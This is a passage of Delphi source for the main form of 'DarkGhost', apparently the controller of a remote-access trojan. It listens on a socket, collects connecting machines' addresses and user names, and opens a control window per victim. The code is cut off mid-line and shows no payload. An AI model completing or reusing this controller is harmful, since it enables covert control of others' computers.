📄 unitprincipal.pas
字号:
unit UnitPrincipal;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, XPMan, ComCtrls, Buttons, ImgList, UnitControl, Menus, Unitopciones, UnitEditorDelServer;
const
CM_RESTORE = WM_USER + $1000; ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion
type
TFormPrincipal = class(TForm)
EstadoBar: TStatusBar;
ListConexiones: TListView;
XPManifest1: TXPManifest;
Server: TServerSocket;
BtnOpciones: TSpeedButton;
ImagePincipal: TImageList;
PopupConexiones: TPopupMenu;
AbrirCentroControl1: TMenuItem;
BtnEditServer: TSpeedButton;
procedure Delay(msecs:integer);
procedure BtnOpcionesClick(Sender: TObject);
procedure ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ListConexionesInsert(Sender: TObject; Item: TListItem);
procedure ListConexionesDeletion(Sender: TObject; Item: TListItem);
procedure ServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ListConexionesContextPopup(Sender: TObject; MousePos: TPoint;
var Handled: Boolean);
procedure AbrirCentroControl1Click(Sender: TObject);
procedure ListConexionesEditing(Sender: TObject; Item: TListItem;
var AllowEdit: Boolean);
procedure BtnEditServerClick(Sender: TObject);
private
{ Private declarations }
public
procedure CreateParams(var Params: TCreateParams); override; ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion
Procedure RestoreRequest(var message: TMessage); message CM_RESTORE; ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion
end;
var
FormPrincipal: TFormPrincipal;
VentanaControl: TFormControl;
implementation
{$R *.dfm}
procedure TFormPrincipal.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.WinClassName := '[0066]Este es el cliente del DarkGhost[0066]';
end;
procedure TFormPrincipal.RestoreRequest(var message: TMessage);
begin
if IsIconic(Application.Handle) = TRUE then
Application.Restore
else
Application.BringToFront;
end;
procedure TFormPrincipal.Delay(msecs:integer);
var
FirstTickCount:longint; //Procedimiento usado para mostrar
begin //mas tiempo la splash screen
FirstTickCount:=GetTickCount;
repeat
Application.ProcessMessages;
until ((GetTickCount-FirstTickCount) >= Longint(msecs));
end;
procedure TFormPrincipal.BtnOpcionesClick(Sender: TObject);
begin
FormOpciones.show;
end;
procedure TFormPrincipal.ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText('info');
end;
procedure TFormPrincipal.ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
date: string;
newl: tlistitem;
compname, username: string;
a: integer;
begin
date := socket.ReceiveText;
if Copy(date, 1, 4) = 'info' then
begin
newl := ListConexiones.Items.Add;
VentanaControl := TFormControl.Create(self);
VentanaControl.Caption := VentanaControl.Caption+' ['+ socket.RemoteAddress +']';
VentanaControl.Server := Socket;
newl.Data := Socket;
Delete(date, 1, 4);
newl.Caption := inttostr(Socket.SocketHandle);
newl.SubItems.Add(socket.RemoteAddress+'/'+Copy(date, 1, Pos('
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -